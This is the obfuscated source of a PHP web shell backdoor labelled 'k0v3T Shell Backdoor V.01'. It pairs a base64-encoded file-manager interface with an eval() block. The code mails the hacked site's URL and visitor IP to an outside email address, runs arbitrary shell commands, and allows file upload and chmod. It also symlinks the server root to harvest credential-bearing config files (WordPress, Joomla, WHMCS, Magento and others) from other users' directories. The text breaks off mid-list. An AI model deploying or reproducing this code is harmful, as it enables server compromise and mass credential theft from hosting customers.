0IGNvbG9yPSJyZWQiPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsNCg0KZWNobyAiPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4NCjxzZWxlY3QgbmFtZT1cIm9wdFwiPg0KPG9wdGlvbiB2YWx1ZT1cIlNlbGVjdFwiPlNlbGVjdDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZGlyXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpew0KaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0Ow0KJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsNCmlmKCRzaXplID49IDEwMjQpew0KJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KfWVsc2V7DQokc2l6ZSA9ICRzaXplLicgS0InOw0KfQ0KDQplY2hvICI8dHI+DQo8dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpaVFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPSc+DQo8YSBocmVmPVwiP2ZpbGVzcmM9JHBhdGgvJGZpbGUmcGF0aD0kcGF0aFwiPjxmb250IGNvbG9yPXJlZD4kZmlsZTwvZm9udD48L2E+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPVJlZD4iLiRzaXplLiI8L2ZvbnQ+PC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9IzVkZGNmYz4nOw0KZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9cmVkPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8L2ZvbnQ+JzsNCmVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJTZWxlY3RcIj5TZWxlY3Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRmaWxlXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOw0KfQ0KZWNobyAnPGJyIC8+PGNlbnRlcj48Zm9udCBzaXplPTMgOyBjb2xvcj1yZWQ+azB2M1QgU2hlbGwgQmFja2Rvb3IgIFYuMDE8YnI+PGZvbnQgc2l6ZT00IDsgY29sb3I9IzVkZGNmYz5Db3B5cmlnaHQgJmNvcHk7IDxmb250IGNvbG9yPSJyZWQiPkluZG9uZXNpYW4gSGFja2VyIENvbW11bml0eTwvZm9udD48L2JyPg0KDQo8L2JvZHk+DQo8L2h0bWw+JzsNCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsNCiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCi8vIFNvY2tldA0KJGluZm8gPSAncyc7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQovLyBTeW1ib2xpYyBMaW5rDQokaW5mbyA9ICdsJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCi8vIFJlZ3VsYXINCiRpbmZvID0gJy0nOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KLy8gQmxvY2sgc3BlY2lhbA0KJGluZm8gPSAnYic7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQovLyBEaXJlY3RvcnkNCiRpbmZvID0gJ2QnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KLy8gQ2hhcmFjdGVyIHNwZWNpYWwNCiRpbmZvID0gJ2MnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KLy8gRklGTyBwaXBlDQokaW5mbyA9ICdwJzsNCn0gZWxzZSB7DQovLyBVbmtub3duDQokaW5mbyA9ICd1JzsNCn0NCg0KLy8gT3duZXINCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8NCigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCigoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KDQovLyBHcm91cA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIFdvcmxkDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCg0KcmV0dXJuICRpbmZvOw0KfQ==';
eval("@ini_set('output_buffering', 0);\r\n@ini_set('display_errors', 0);\r\nset_time_limit(0);\r\nini_set('memory_limit', '64M');\r\nheader('Content-Type: text/html; charset=UTF-8');\r\n\$tujuanmail = 'satyaaji1945@gmail.com';\r\n\$x_path = \"http://\" . \$_SERVER['SERVER_NAME'] . \$_SERVER['REQUEST_URI'];\r\n\$pesan_alert = \"fix \$x_path :p *IP Address : [ \" . \$_SERVER['REMOTE_ADDR'] . \" ]\";\r\nmail(\$tujuanmail, \"LOGGER\", \$pesan_alert, \"[ \" . \$_SERVER['REMOTE_ADDR'] . \" ]\");\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n\r\n//function\r\nfunction ambilKata(\$param, \$kata1, \$kata2){\r\n if(strpos(\$param, \$kata1) === FALSE) return FALSE;\r\n if(strpos(\$param, \$kata2) === FALSE) return FALSE;\r\n \$start = strpos(\$param, \$kata1) + strlen(\$kata1);\r\n \$end = strpos(\$param, \$kata2, \$start);\r\n \$return = substr(\$param, \$start, \$end - \$start);\r\n return \$return;\r\n}\r\nif(get_magic_quotes_gpc()) {\r\n function idx_ss(\$array) {\r\nreturn is_array(\$array) ? array_map('idx_ss', \$array) : stripslashes(\$array);\r\n }\r\n \$_POST = idx_ss(\$_POST);\r\n}\r\n\r\nfunction exe(\$cmd) {\r\n if(function_exists('system')) { \r\n@ob_start(); \r\n@system(\$cmd); \r\n\$buff = @ob_get_contents(); \r\n@ob_end_clean(); \r\nreturn \$buff; \r\n } elseif(function_exists('exec')) { \r\n@exec(\$cmd,\$results); \r\n\$buff = \"\"; \r\nforeach(\$results as \$result) { \r\n \$buff .= \$result; \r\n} return \$buff; \r\n } elseif(function_exists('passthru')) { \r\n@ob_start(); \r\n@passthru(\$cmd); \r\n\$buff = @ob_get_contents(); \r\n@ob_end_clean(); \r\nreturn \$buff; \r\n } elseif(function_exists('shell_exec')) { \r\n\$buff = @shell_exec(\$cmd); \r\nreturn \$buff; \r\n }\r\n}\r\n\r\n//check dir\r\n\$nick = \"k0v3T\";\r\nif(isset(\$_GET['path'])){\r\n\$path = \$_GET['path'];\r\n}else{\r\n\$path = getcwd();\r\n}\r\n\$software = getenv(\"SERVER_SOFTWARE\");\r\n\$path = str_replace('\\\\','/',\$path);\r\n\$paths = explode('/',\$path);\r\n\r\n\r\n////////////////////////////////////////\r\n\r\nif(!function_exists('posix_getegid')) {\r\n \$user = @get_current_user();\r\n \$uid = @getmyuid();\r\n \$gid = @getmygid();\r\n \$group = \"?\";\r\n} else {\r\n \$uid = @posix_getpwuid(posix_geteuid());\r\n \$gid = @posix_getgrgid(posix_getegid());\r\n \$user = \$uid['name'];\r\n \$uid = \$uid['uid'];\r\n \$group = \$gid['name'];\r\n \$gid = \$gid['gid'];\r\n} \r\n//uname\r\necho \"<br><b><i><center><font color=#5ddcfc size=3>Current Dir : </font>\";\r\nforeach(\$paths as \$id=>\$pat){\r\nif(\$pat == '' && \$id == 0){\r\n\$a = true;\r\necho '<a href=\"?path=/\">/</a>';\r\ncontinue;\r\n}\r\nif(\$pat == '') continue;\r\necho '<a href=\"?path=';\r\nfor(\$i=0;\$i<=\$id;\$i++){\r\necho \"\$paths[\$i]\";\r\nif(\$i != \$id) echo \"/\";\r\n}\r\necho '\"><font color=red size=3>'.\$pat.'</font></a>/';\r\n}\r\n\r\n##TOOLBAR\r\necho \"<hr color=#5ddcfc>\r\n<br><center>\r\n<font size=3><a href='?' class='tombols'>Home</a>\r\n<font size=3><a href='?path=\$path&a=upload' class='tombols'>Upload</a>\r\n<font size=3><a href='?path=\$path&a=cmd' class='tombols'>Command</a>\r\n<font size=3><a href='?path=\$path&a=configv2' class='tombols'>Config</a>\r\n<font size=3><a href='?path=\$path&a=jumping' class='tombols'>Jumping</a>\r\n<br><br>\r\n\r\n<font size=3><a href='?path=\$path&a=symlink' class='tombols'>Symlink</a>\r\n<font size=3><a href='?path=\$path&a=disablefunc' class='tombols'>Bypass Disable Function</a>\r\n\r\n</center></br>\r\n<hr color=#5ddcfc><center>\";\r\n\r\n//uploads\r\nif(\$_GET['a'] == 'upload') {\r\nif(isset(\$_FILES['file'])){\r\nif(copy(\$_FILES['file']['tmp_name'],\$path.'/'.\$_FILES['file']['name'])){\r\necho '<font color=\"#5ddcfc\">Berhasil Upload gan!</font><br />';\r\n}else{\r\necho '<font color=\"red\">Gagal Upload Gan</font><br />';\r\n}\r\n}\r\necho '<form enctype=\"multipart/form-data\" method=\"POST\"><font color=\"red\" size=\"4\">\r\nUpload File :<br><input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"Upload\" />\r\n</form><br>\r\n</td></tr>';\t\r\n\r\n\r\n} elseif(\$_GET['a'] == 'configv2') {\r\n\t\t\tif(strtolower(substr(PHP_OS, 0, 3)) == \"win\"){\r\necho '<script>alert(\"Tidak bisa di gunakan di server windows\")</script>';\r\nexit;\r\n}\r\n\tif(\$_POST){\tif(\$_POST['config'] == 'symvhosts') {\r\n\t\t@mkdir(\"k0v3T_symvhosts\", 0777);\r\nexe(\"ln -s / k0v3T_symvhosts/root\");\r\n\$htaccess=\"Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\";\r\n@file_put_contents(\"k0v3T_symvhosts/.htaccess\",\$htaccess);\r\n\t\t\$etc_passwd=\$_POST['passwd'];\r\n \r\n \$etc_passwd=explode(\"\\n\",\$etc_passwd);\r\nforeach(\$etc_passwd as \$passwd){\r\n\$pawd=explode(\":\",\$passwd);\r\n\$user =\$pawd[5];\r\n\$jembod = preg_replace('/\\/var\\/www\\/vhosts\\//', '', \$user);\r\nif (preg_match('/vhosts/i',\$user)){\r\nexe(\"ln -s \".\$user.\"/httpdocs/wp-config.php k0v3T_symvhosts/\".\$jembod.\"-Wordpress.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/configuration.php k0v3T_symvhosts/\".\$jembod.\"-Joomla.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/config/koneksi.php k0v3T_symvhosts/\".\$jembod.\"-Lokomedia.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/forum/config.php k0v3T_symvhosts/\".\$jembod.\"-phpBB.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/sites/default/settings.php k0v3T_symvhosts/\".\$jembod.\"-Drupal.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/config/settings.inc.php k0v3T_symvhosts/\".\$jembod.\"-PrestaShop.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/app/etc/local.xml k0v3T_symvhosts/\".\$jembod.\"-Magento.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/admin/config.php k0v3T_symvhosts/\".\$jembod.\"-OpenCart.txt\");\r\nexe(\"ln -s \".\$user.\"/httpdocs/application/config/database.php k0v3T_symvhosts/\".\$jembod.\"-Ellislab.txt\"); \r\n}}}\r\nif(\$_POST['config'] == 'symlink') {\r\n@mkdir(\"k0v3T_symconfig\", 0777);\r\n@symlink(\"/\",\"k0v3T_symconfig/root\");\r\n\$htaccess=\"Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\";\r\n@file_put_contents(\"k0v3T_symconfig/.htaccess\",\$htaccess);}\r\nif(\$_POST['config'] == '404') {\r\n@mkdir(\"k0v3T_sym404\", 0777);\r\n@symlink(\"/\",\"k0v3T_sym404/root\");\r\n\$htaccess=\"Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\r\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\r\nIndexIgnore *.txt404\r\nRewriteEngine On\r\nRewriteCond %{REQUEST_FILENAME} ^.*k0v3T_sym404 [NC]\r\nRewriteRule \\.txt\$ %{REQUEST_URI}404 [L,R=302.NC]\";\r\n@file_put_contents(\"k0v3T_sym404/.htaccess\",\$htaccess);\r\n}\r\nif(\$_POST['config'] == 'grab') {\r\n\t\t\t\t\t\tmkdir(\"k0v3T_configgrab\", 0777);\r\n\t\t\t\t\t\t\$isi_htc = \"Options all\\nRequire None\\nSatisfy Any\";\r\n\t\t\t\t\t\t\$htc = fopen(\"k0v3T_configgrab/.htaccess\",\"w\");\r\n\t\t\t\t\t\tfwrite(\$htc, \$isi_htc);\t\r\n}\r\n\$passwd = \$_POST['passwd'];\r\n\r\npreg_match_all('/(.*?):x:/', \$passwd, \$user_config);\r\nforeach(\$user_config[1] as \$user_k0v3T) {\r\n\$grab_config = array(\r\n\"/home/\$user_k0v3T/.accesshash\" => \"WHM-accesshash\",\r\n\"/home/\$user_k0v3T/public_html/config/koneksi.php\" => \"Lokomedia\",\r\n\"/home/\$user_k0v3T/public_html/forum/config.php\" => \"phpBB\",\r\n\"/home/\$user_k0v3T/public_html/sites/default/settings.php\" => \"Drupal\",\r\n\"/home/\$user_k0v3T/public_html/config/settings.inc.php\" => \"PrestaShop\",\r\n\"/home/\$user_k0v3T/public_html/app/etc/local.xml\" => \"Magento\",\r\n\"/home/\$user_k0v3T/public_html/admin/config.php\" => \"OpenCart\",\r\n\"/home/\$user_k0v3T/public_html/application/config/database.php\" => \"Ellislab\",\r\n\"/home/\$user_k0v3T/public_html/vb/includes/config.php\" => \"Vbulletin\",\r\n\"/home/\$user_k0v3T/public_html/includes/config.php\" => \"Vbulletin\",\r\n\"/home/\$user_k0v3T/public_html/forum/includes/config.php\" => \"Vbulletin\",\r\n\"/home/\$user_k0v3T/public_html/forums/includes/config.php\" => \"Vbulletin\",\r\n\"/home/\$user_k0v3T/public_html/cc/includes/config.php\" => \"Vbulletin\",\r\n\"/home/\$user_k0v3T/public_html/inc/config.php\" => \"MyBB\",\r\n\"/home/\$user_k0v3T/public_html/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/shop/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/os/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/oscom/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/products/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/cart/includes/configure.php\" => \"OsCommerce\",\r\n\"/home/\$user_k0v3T/public_html/inc/conf_global.php\" => \"IPB\",\r\n\"/home/\$user_k0v3T/public_html/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/wp/test/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/blog/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/beta/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/portal/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/site/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/wp/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/WP/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/news/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/wordpress/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/test/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/demo/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/home/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/v1/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/v2/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/press/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/new/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/blogs/wp-config.php\" => \"Wordpress\",\r\n\"/home/\$user_k0v3T/public_html/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/blog/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/submitticket.php\" => \"^WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/cms/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/beta/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/portal/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/site/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/main/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/home/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/demo/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/test/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/v1/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/v2/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/joomla/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/new/configuration.php\" => \"Joomla\",\r\n\"/home/\$user_k0v3T/public_html/WHMCS/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/whmcs1/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Whmcs/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/whmcs/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/whmcs/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/WHMC/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Whmc/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/whmc/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/WHM/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Whm/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/whm/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/HOST/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Host/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/host/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/SUPPORTES/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Supportes/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/supportes/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/domains/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/domain/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Hosting/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/HOSTING/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/hosting/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/CART/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Cart/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/cart/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/ORDER/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Order/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/order/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/CLIENT/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Client/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/client/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/CLIENTAREA/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Clientarea/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/clientarea/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/SUPPORT/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Support/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/support/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/BILLING/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Billing/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/billing/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/BUY/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Buy/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/buy/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/MANAGE/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Manage/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/manage/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/CLIENTSUPPORT/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/ClientSupport/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Clientsupport/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/clientsupport/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/CHECKOUT/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Checkout/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/checkout/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/BILLINGS/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_k0v3T/public_html/Billings/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/billings/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/BASKET/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Basket/submitticket.php\" => 